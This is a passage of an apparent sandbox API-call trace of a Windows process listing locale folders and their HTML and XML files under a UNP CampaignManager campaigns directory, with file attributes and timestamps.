	[0156.680] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.681] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0156.682] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.682] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0156.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.682] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV") returned 100
	[0156.682] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\lv-LV\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0156.683] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.683] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa07c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.683] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x259, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.684] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.684] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.684] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.684] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0156.685] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.685] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1
	[0156.685] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms-MY", cAlternateFileName="")) returned 1
	[0156.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.685] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY") returned 100
	[0156.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ms-MY\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.686] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8663023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.686] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.686] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.686] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3d467a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.686] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.687] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.687] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.688] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1
	[0156.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.688] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO") returned 100
	[0156.688] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nb-NO\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0156.689] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.690] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.690] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.690] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.690] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.690] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.690] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0156.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.691] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1
	[0156.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.692] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE") returned 100
	[0156.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-BE\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0156.693] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.693] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.693] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.693] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3fa8d2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0156.693] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0156.693] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0156.694] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0156.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0156.695] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0156.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0156.695] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL") returned 100
	[0156.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nl-NL\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0156.696] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0156.696] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9b98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0156.697] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0156.697] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
